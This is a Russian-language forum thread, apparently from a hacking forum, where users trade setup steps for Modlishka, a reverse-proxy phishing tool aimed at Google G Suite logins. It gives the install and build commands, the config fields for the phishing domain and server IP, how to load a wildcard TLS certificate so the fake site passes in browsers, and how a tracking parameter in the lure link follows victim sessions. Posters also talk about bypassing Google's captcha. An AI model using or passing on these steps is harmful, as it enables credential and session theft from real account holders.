Пока сгенерил вот так. https://habr.com/ru/post/351252/
Сейчас буду пробовать ставить.
Сейчас буду пробовать ставить.
sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/\\n/g' /etc/letsencrypt/live/fake-domain.de/имя_файла
root@host:~/go_src/src/github.com/drk1wi/Modlishka# ./dist/proxy -config templates/google.com_gsuite.json
[Mon Apr 8 15:04:19 2019] INF Enabling plugin: autocert v0.1
panic: tls: failed to find any PEM data in certificate input
тут куча ошибок.....
А можно мне видос? Посмотреть как оно должно быть.ПС: Кому интересно за лайк можно скинуть видос в ПМ как оно все работает с моими дороботками.
Если не затруднит, перенеси, интересно.Там все просто. Нужно генерить вилдкарт сертификат. В нем три файла.
Содержимое вливаете в темплейт гугла. Нужно заменпить переносы строк на \n
Таким макаром взлетает сертификат. Но дальше все-равно толком не воркает. Там id в динамике меняется периодически.
Если нет доступа к экспу - отпишитесь. Данные сюда перетащу.
yum update
wget https://dl.google.com/go/go1.12.2.linux-amd64.tar.gz
tar -xzf go1.12.2.linux-amd64.tar.gz
mv go /usr/local
export GOROOT=/usr/local/go
export GOPATH=$HOME/Projects/Proj1
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
go version
go version go1.12.2 linux/amd64
go get -u github.com/drk1wi/Modlishka
cd $GOPATH/src/github.com/drk1wi/Modlishka/
ls
Вместо loopback.modlishka.io пишем свой домен, listeningAddress - IP вашего сервера."phishingDomain": "loopback.modlishka.io"
"listeningAddress": "127.0.0.1"
Вот на этом месте почти всё! Мы уже сделали всё что было нужно, но есть небольшая загвоздка, в таком виде у нас не будет работать SSL в большинстве браузеров."cert": "Certificate (Base64)"
"certKey": "Private Key (Base64)"
"certPool": "CA Bundle (Base64)"
С сертификатом закночили. Сохраняем отредактированный шаблон и выполняем:-----BEGIN CERTIFICATE-----
MIIFZTCCBE2gAwIBAgISAz4/R5PdcNIyUOiicw9nZra2MA0GCSqGSIb3DQEBCwUA
MEoxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MSMwIQYDVQQD
...
ExpMZXQncyBFbmNyeXB0IEF1dGhvcml0eSBYMzAeFw0xOTA0MTQwODMyMTlaFw0x
MEwGA1UdIARFMEMwCAYGZ4EMAQIBMDcGCysGAQQBgt8TAQEBMCgwJgYIKwYBBQUH
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
uM2VcGfl96S8TihRzZvoroed6ti6WqEBmtzw3Wodatg+VyOeph4EYpr/1wXKtx8/
wApIvJSwtmVi4MFU5aMqrSDE6ea73Mj2tcMyo5jMd6jmeWUHK8so/joWUoHOUgwu
...
X4Po1QYz+3dszkDqMp4fklxBwXRsW10KXzPMTZ+sOPAveyxindmjkW8lGy+QsRlG
PfZ+G6Z6h7mjem0Y+iWlkYcV4PIWL1iwBi8saCbGS5jN2p8M+X+Q7UNKEkROb3N6
-----END CERTIFICATE-----
make
Выполняем запуск:go test -v main.go main_test.go
=== RUN TestEncodeDecode
[Sat Apr 6 15:21:42 2019] DBG DecodeSubdomain: XVlBzgbaiCMRAjWwhTHc
--- PASS: TestEncodeDecode (0.00s)
=== RUN TestRegex
--- PASS: TestRegex (0.00s)
=== RUN TestTranslatePhishtoURL
[Sat Apr 6 15:21:42 2019] DBG DecodeSubdomain: accounts.youtube.com
--- PASS: TestTranslatePhishtoURL (0.00s)
=== RUN TestTranslateURLtoPhish
--- PASS: TestTranslateURLtoPhish (0.00s)
=== RUN TestCmdLineFlags
--- PASS: TestCmdLineFlags (0.00s)
=== RUN TestJSONConfig
--- PASS: TestJSONConfig (0.00s)
PASS
ok command-line-arguments (cached)
go build -ldflags "-s -w" -o dist/proxy main.go
sudo ./dist/proxy -config templates/google.com_gsuite.json
Кто то заговорил про ident)
"trackingCookie": "ident"
"trackingParam": "ident"
значение trackingParam указываем в ссылке на фейк "https://loop.modlishka.com/?ident=session_rnd_8"
как ты и сказал используется для работы с сессиями. Это я так что бы инфа была)
Ёще один ГУРУ вылез))) Обойди гугл капчу на nginx и потом поговорим! Как nginx бороздит сертбота просторы...Не понимаю от куда столько шума, если стандартный nginx позволяет все это сделать из коробки и по пути еще js заинклудить
и проблем с ssl нет, стандартный сертбот решает все проблемы.